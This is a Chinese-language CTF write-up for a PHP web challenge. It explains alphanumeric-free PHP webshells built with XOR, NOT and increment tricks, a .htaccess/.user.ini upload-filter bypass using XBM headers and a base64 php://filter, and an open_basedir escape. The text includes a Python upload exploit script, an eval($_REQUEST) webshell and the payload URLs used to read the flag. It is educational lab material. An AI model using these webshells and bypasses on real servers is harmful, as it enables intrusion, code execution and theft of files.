0x00 知識點
本題知識量巨大,把我給看傻了。。盯着網上師傅們的博客看了好久。。
知識點1
構造不包含數字和字母的webshell
思路來自p牛
參考鏈接:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
php5中assert是一個函數,我們可以通過$f='assert';$f(...);這樣的方法來動態執行任意代碼
但php7中,assert不再是函數,變成了一個語言結構(類似eval),不能再作為函數名動態執行代碼,所以利用起來稍微復雜一點。但也無需過於擔心,比如我們利用file_put_contents函數,同樣可以用來getshell
我們有三種方法來構造webshell:
1:異或。
在PHP中,兩個字符串執行異或操作以后,得到的還是一個字符串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字符,他們的異或結果是這個字母即可。
在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值
想得到我們想要的異或后的字符:
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
這里的話我們異或只能構造GET型,POST不行
然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以執行一些函數。拋開這道題,我們還可以: http://127.0.0.1/?_=${����^����}{�}("type index.php");&%ff=system。
exp:
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);
2:取反構造
和方法一有異曲同工之妙,唯一差異就是,方法一使用的是位運算里的“異或”,方法二使用的是位運算里的“取反”。方法二利用的是UTF-8編碼的某個漢字,並將其中某個字符取出來,比如'和'{2}的結果是"\x8c",其取反即為字母s
3:自增構造
參考鏈接
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
'a'++ => 'b','b'++ => 'c'
我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量並進行初始化或賦值操作。正是由於PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理,下面我們來看一段代碼:
<?php
function B(){
echo "K0I";
}
$_++;
$__= "?" ^ "}";
$__();
?>
1:$_++;
這行代碼的意思是對變量名為"_"
的變量進行自增操作,在PHP中未定義的變量默認值為null,nullfalse0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字
2:$__="?" ^ "}";
對字符"?"和"}"進行異或運算,得到結果B賦給變量名為"__"(兩個下划線)的變量
3:$ __ ();
通過上面的賦值操作,變量$__
的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調用函數B,所以執行結果為K0i。在PHP中,我們可以將字符串當作函數來處理。
我們希望使用這種后門創建一些可以繞過檢測的並且對我們有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我們需要的東西。
知識點2 文件上傳繞過
參考鏈接
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
nginx的服務器,而且上傳目錄下有一個php文件,所以上竄.user.ini
apache的服務器,應該上傳.htaccess
兩個要注意的點是:
.htaccess上傳的時候不能用GIF89a等文件頭去繞過exif_imagetype,因為這樣雖然能上傳成功,但.htaccess文件無法生效。這時有兩個辦法:
#define width 1337
#define height 1337
在.htaccess是注釋符,所以.htaccess文件可以生效
在.htaccess前添加x00x00x8ax39x8ax39(要在十六進制編輯器中添加,或者使用python的bytes類型)
x00x00x8ax39x8ax39 是wbmp文件的文件頭
.htaccess中以0x00開頭的同樣也是注釋符,所以不會影響.htaccess
這里的php是7.2的版本,無法使用
<script language="php"></script>
來繞過對<?的檢測
ps:
可以通過編碼進行繞過,如原來使用utf8編碼,如果shell中是用utf16編碼則可以Bypass
我們這里的解決方法是將一句話進行base64編碼,然后在.htaccess中利用php偽協議進行解碼,比如:
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
shell.abc:
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
這里GIF89a后面那個12是為了補足8個字節,滿足base64編碼的規則,使用其他的文件頭也是可以的貼一個上傳的腳本
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
知識點三 繞過open_basedir/disable_function
open_basedir是php.ini中的一個配置選項
它可將用戶訪問文件的活動范圍限制在指定的區域,
假設open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通過web1訪問服務器的用戶就無法獲取服務器上除了/home/wwwroot/home/web1/和/tmp/這兩個目錄以外的文件。
注意用open_basedir指定的限制實際上是前綴,而不是目錄名。
舉例來說: 若"open_basedir = /dir/user", 那么目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。
所以如果要將訪問限制在僅為指定的目錄,請用斜線結束路徑名。
payload
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
0x01 解題
首先先來上傳一個webshell:
直接跑腳本:
這里在給出一個思路:
$_GET{x}();
然后傳入x=get_the_flag調用該函數
注意因為buu是把這個源碼已經開放了,所以我們這里只是提一下:
import urllib.parse
find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))
最后湊出
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
成功調用get_the_flag函數
直接跑腳本:
找flag位置:
http://67581bf9-b233-4f97-8a1b-98532c7f7358.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.abc?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
找到flag文件THis_Is_tHe_F14g訪問
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
得到flag
參考鏈接:
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html